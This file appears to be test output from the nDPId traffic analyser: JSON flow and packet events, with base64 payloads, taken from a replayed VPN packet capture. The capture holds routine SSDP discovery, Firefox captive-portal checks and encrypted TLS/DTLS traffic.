+00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":390,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1569687267988,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"74.125.197.188","src_port":56874,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":390,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":988009,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0c9UAAEAG69IKAADjSn3FvN4qAbvQnkCVU\/eYD4AREABMcgAAAQEIChwN0hGhDZLg"} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":391,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1569687267991,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"239.255.255.250","src_port":61328,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00640{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":391,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":991361,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AQBef\/\/6NDY7z3UoCABFAADKY+gAAAERWl4KAADj7\/\/\/+u+QB2wAtlB4TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KVVNFUi1BR0VOVDogR29vZ2xlIENocm9tZS83Ny4wLjM4NjUuOTAgTWFjIE9TIFgNCg0K"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":391,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1569687267991,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"239.255.255.250","src_port":61328,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00431{"flow_id":56,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":392,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":26329,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0lz4AAGoGnmlKfcW8CgAA4wG73ipT95gP0J5AloAQAP3kSQAAAQEICqEOCgscDdIR"} +00847{"flow_id":25,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":393,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":53551,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"LH6BsEqhNDY7z3UoCABFAAFnAABAAEAGPkgKAADjuBk4Td40AFBjyKwaGk9qboAYEAAWhQAAAQEIChwN0lLjFT+OR0VUIC9zdWNjZXNzLnR4dD9pcHY0IEhUVFAvMS4xDQpIb3N0OiBkZXRlY3Rwb3J0YWwuZmlyZWZveC5jb20NClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjEzOyBydjo2OS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzY5LjANCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClByYWdtYTogbm8tY2FjaGUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQoNCg=="} +00838{"flow_id":24,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":394,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":57131,"pkt_caplen":368,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":368,"pkt_l4_len":334,"pkt":"LH6BsEqhNDY7z3UoCABFAAFiEVkAAEAGbPQKAADjuBk4Td5VAFBor53cCT1FvYAYEAAVugAAAQEIChwN0lXjFT5ZR0VUIC9zdWNjZXNzLnR4dCBIVFRQLzEuMQ0KSG9zdDogZGV0ZWN0cG9ydGFsLmZpcmVmb3guY29tDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMC4xMzsgcnY6NjkuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC82OS4wDQpBY2NlcHQ6ICovKg0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KUHJhZ21hOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00947{"flow_id":25,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":395,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":73855,"pkt_caplen":450,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":450,"pkt_l4_len":416,"pkt":"NDY7z3UoLH6BsEqhCABFAAG0NJ1AADcGEl64GThNCgAA4wBQ3jQaT2puY8itTYAYARVp4wAAAQEICuMVQI0cDdJSSFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4NCkNvbnRlbnQtTGVuZ3RoOiA4DQpMYXN0LU1vZGlmaWVkOiBNb24sIDE1IE1heSAyMDE3IDE4OjA0OjQwIEdNVA0KRVRhZzogImFlNzgwNTg1ZjQ5Yjk0Y2UxNDQ0ZWI3ZDI4OTA2MTIzIg0KQWNjZXB0LVJhbmdlczogYnl0ZXMNClNlcnZlcjogQW1hem9uUzMNClgtQW16LUNmLUlkOiBJcS1oTGRhcmRnZUVmOTBhU3dsQlZkRDJUbjFzY29hcnBlQlMtbUtNWmdLNG1lWGlWTEpHTUE9PQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG5vLXN0b3JlLCBtdXN0LXJldmFsaWRhdGUNCkRhdGU6IFNhdCwgMjggU2VwIDIwMTkgMTY6MTQ6MjggR01UDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCnN1Y2Nlc3MK"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":397,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1569687268077,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":38616,"dst_port":61328,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01090{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":397,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":77677,"pkt_caplen":556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":556,"pkt_l4_len":522,"pkt":"NDY7z3UopHczjPFACABFAAIeAABAAEARI1gKAACVCgAA45bY75ACCk+7SFRUUC8xLjEgMjAwIE9LDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTE4MDANCkRBVEU6IFNhdCwgMjggU2VwIDIwMTkgMTY6MTQ6MjggR01UDQpFWFQ6DQpMT0NBVElPTjogaHR0cDovLzEwLjAuMC4xNDk6ODAwOC9zc2RwL2RldmljZS1kZXNjLnhtbA0KT1BUOiAiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogYjNiMTBmNmEtMWRkMS0xMWIyLWI3NDAtYWU5NDc5MzlkMzA4DQpTRVJWRVI6IExpbnV4LzMuOC4xMyssIFVQblAvMS4wLCBQb3J0YWJsZSBTREsgZm9yIFVQblAgZGV2aWNlcy8xLjYuMTgNClgtVXNlci1BZ2VudDogcmVkc29uaWMNClNUOiB1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENClVTTjogdXVpZDo3OWQ4OGU4My03MjVjLWI3MWItYmFkMC01ODYyZDViMjIzODY6OnVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KQk9PVElELlVQTlAuT1JHOiA0NzINCkNPTkZJR0lELlVQTlAuT1JHOiAxDQoNCg=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":397,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1569687268077,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":38616,"dst_port":61328,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00946{"flow_id":24,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":398,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":86320,"pkt_caplen":450,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":450,"pkt_l4_len":416,"pkt":"NDY7z3UoLH6BsEqhCABFAAG0uJ1AADgGjV24GThNCgAA4wBQ3lUJPUW9aK+fCoAYAPyo7AAAAQEICuMVQJgcDdJVSFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4NCkNvbnRlbnQtTGVuZ3RoOiA4DQpMYXN0LU1vZGlmaWVkOiBNb24sIDE1IE1heSAyMDE3IDE4OjA0OjQwIEdNVA0KRVRhZzogImFlNzgwNTg1ZjQ5Yjk0Y2UxNDQ0ZWI3ZDI4OTA2MTIzIg0KQWNjZXB0LVJhbmdlczogYnl0ZXMNClNlcnZlcjogQW1hem9uUzMNClgtQW16LUNmLUlkOiBJcS1oTGRhcmRnZUVmOTBhU3dsQlZkRDJUbjFzY29hcnBlQlMtbUtNWmdLNG1lWGlWTEpHTUE9PQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG5vLXN0b3JlLCBtdXN0LXJldmFsaWRhdGUNCkRhdGU6IFNhdCwgMjggU2VwIDIwMTkgMTY6MTQ6MjggR01UDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCnN1Y2Nlc3MK"} +00433{"flow_id":24,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":86394,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGP3sKAADjuBk4Td5VAFBor58KCT1HPYAQD\/QiegAAAQEIChwN0nDjFUCY"} +00432{"flow_id":43,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":176732,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2DE0IHf7NDY7z3UoCABFAAA0AABAAEAGJUsKAADjCgAAl94iH3wAQcGNmjQa94AREAAg9AAAAQEIChwN0scGksZO"} +00489{"flow_id":46,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":255035,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"LH6BsEqhNDY7z3UoCABFAABbAABAAEAGh94KAADjNApz0t4vAbv\/h0RDal\/Pm4AYEAAiawAAAQEIChwN0xUwQSW5FwMDACIAAAAAAAAABOSiEtX++2wFU+QPmxUY3GRLet\/12fHye+Na"} +00483{"flow_id":46,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":405,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":288187,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"NDY7z3UoLH6BsEqhCABFAABXHWVAAOsGv3w0CnPSCgAA4wG73i9qX8+b\/4dEaoAYAHZkqAAAAQEICjBBJkkcDdMVFwMDAB60PFmzucBfQpbZG5fkhGLdfsdJy9p7QpDrf7iqgfM="} +00435{"flow_id":46,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":288257,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGiAUKAADjNApz0t4vAbv\/h0Rqal\/PvoAQD\/4QNwAAAQEIChwN0zYwQSZJ"} +00520{"flow_id":13,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":407,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":303691,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"LH6BsEqhNDY7z3UoCABFAABzsJwAAEAGlzMKAADjNCXzrd5TAbsf\/fDecO3WY4AYEAAQHgAAAQEIChwN00UAjZhyFwMDADoAAAAAAAAACEzGPPJ3Kcu6RavuCPBDM8XTcgluoyj+7Z3MIZ+UxsM4YZLkjnm2tNIw1TP+GkWg18Gv"} +00434{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":339493,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0y8dAACsGUUc0JfOtCgAA4wG73lNw7dZjH\/3xHYAQAAmAkwAAAQEICgCNmxAcDdNF"} +00521{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":339498,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"NDY7z3UoLH6BsEqhCABFAABzy8hAACsGUQc0JfOtCgAA4wG73lNw7dZjH\/3xHYAYAAl3vQAAAQEICgCNmxAcDdNFFwMDADoscoyH7e3mEaLj9szbkWqqmEqDlelG3R9AcZ4tJ3XN64I60DPQ058YYyhPfpVvx4TCC6nlGIJyOZ\/k"} +00435{"flow_id":13,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":339560,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0x1cAAEAGgLcKAADjNCXzrd5TAbsf\/fEdcO3WooAQD\/5wPAAAAQEIChwN02gAjZsQ"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":411,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1569687268376,"flow_last_seen":0,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":319,"flow_max_l4_data_len":319,"flow_avg_l4_data_len":319,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.151","dst_ip":"10.0.0.227","src_port":1900,"dst_port":61328,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00819{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":411,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":376485,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"NDY7z3Uo2DE0IHf7CABFAAFTj5RAAEARlIwKAACXCgAA4wds75ABPzXfSFRUUC8xLjEgMjAwIE9LDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTM2MDANClNUOiB1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENClVTTjogdXVpZDoyOTVjMDAwNC02ODA3LTEwNmQtODBjZi1kODMxMzQyMDc3ZmI6OnVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KRXh0OiANClNlcnZlcjogUm9rdSBVUG5QLzEuMCBSb2t1LzkuMS4wDQpMT0NBVElPTjogaHR0cDovLzEwLjAuMC4xNTE6ODA2MC9kaWFsL2RkLnhtbA0KV0FLRVVQOiBNQUM9ZDg6MzE6MzQ6MjA6Nzc6ZmI7VGltZW91dD0xMA0KDQo="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":411,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1569687268376,"flow_last_seen":0,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":319,"flow_max_l4_data_len":319,"flow_avg_l4_data_len":319,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.151","dst_ip":"10.0.0.227","src_port":1900,"dst_port":61328,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":412,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1569687268559,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"239.255.255.250","src_port":57547,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00640{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":559574,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AQBef\/\/6NDY7z3UoCABFAADKeUwAAAERRPoKAADj7\/\/\/+uDLB2wAtl89TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KVVNFUi1BR0VOVDogR29vZ2xlIENocm9tZS83Ny4wLjM4NjUuOTAgTWFjIE9TIFgNCg0K"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":412,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1569687268559,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"239.255.255.250","src_port":57547,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":413,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1569687268746,"flow_last_seen":0,"flow_tot_l4_data_len":107,"flow_min_l4_data_len":107,"flow_max_l4_data_len":107,"flow_avg_l4_data_len":107,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.102.91","src_port":54107,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00536{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":413,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":746220,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"LH6BsEqhNDY7z3UoCABFAAB\/CAgAAEAR+QMKAADjCCVmW9NbAbsAa+4DFgEAAAAAAAAAAAAAVgEAAEoAAAAAAAAASgEA7YnEaZ6hZImmhCHr0JUfCBctWVvywlB71JRnxl7mI4ogm7BxyKgEQGFPg0eizi7+AVQMevU74i4erAc5hyngJu8AAAIAOQEA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":415,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1569687268747,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":50081,"dst_port":57547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01091{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":415,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":747509,"pkt_caplen":556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":556,"pkt_l4_len":522,"pkt":"NDY7z3UopHczjPFACABFAAIeAABAAEARI1gKAACVCgAA48Oh4MsCCjG3SFRUUC8xLjEgMjAwIE9LDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTE4MDANCkRBVEU6IFNhdCwgMjggU2VwIDIwMTkgMTY6MTQ6MjggR01UDQpFWFQ6DQpMT0NBVElPTjogaHR0cDovLzEwLjAuMC4xNDk6ODAwOC9zc2RwL2RldmljZS1kZXNjLnhtbA0KT1BUOiAiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogYjNiMTBmNmEtMWRkMS0xMWIyLWI3NDAtYWU5NDc5MzlkMzA4DQpTRVJWRVI6IExpbnV4LzMuOC4xMyssIFVQblAvMS4wLCBQb3J0YWJsZSBTREsgZm9yIFVQblAgZGV2aWNlcy8xLjYuMTgNClgtVXNlci1BZ2VudDogcmVkc29uaWMNClNUOiB1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENClVTTjogdXVpZDo3OWQ4OGU4My03MjVjLWI3MWItYmFkMC01ODYyZDViMjIzODY6OnVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KQk9PVElELlVQTlAuT1JHOiA0NzINCkNPTkZJR0lELlVQTlAuT1JHOiAxDQoNCg=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":415,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1569687268747,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":50081,"dst_port":57547,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00432{"flow_id":43,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":438,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":787837,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2DE0IHf7NDY7z3UoCABFAAA0AABAAEAGJUsKAADjCgAAl94iH3wAQcGNmjQa94AREAAenAAAAQEIChwN1R8GksZO"} +00464{"flow_id":61,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":789706,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"NDY7z3UoLH6BsEqhCABFAABMkFUAAPcRuegIJWZbCgAA4wG701sAOF8pFgEAAAAAAAAAAAAAIwMAABcAAAAAAAAAFwEAFGKRvPEadu7FYjYhjKxM1MN8EkEd"} +00564{"flow_id":61,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":790107,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"LH6BsEqhNDY7z3UoCABFAACTQPwAAEARv\/sKAADjCCVmW9NbAbsAf9nwFgEAAAAAAAAAAAEAagEAAF4AAQAAAAAAXgEA7YnEaZ6hZImmhCHr0JUfCBctWVvywlB71JRnxl7mI4ogm7BxyKgEQGFPg0eizi7+AVQMevU74i4erAc5hyngJu8UYpG88Rp27sViNiGMrEzUw3wSQR0AAgA5AQA="} 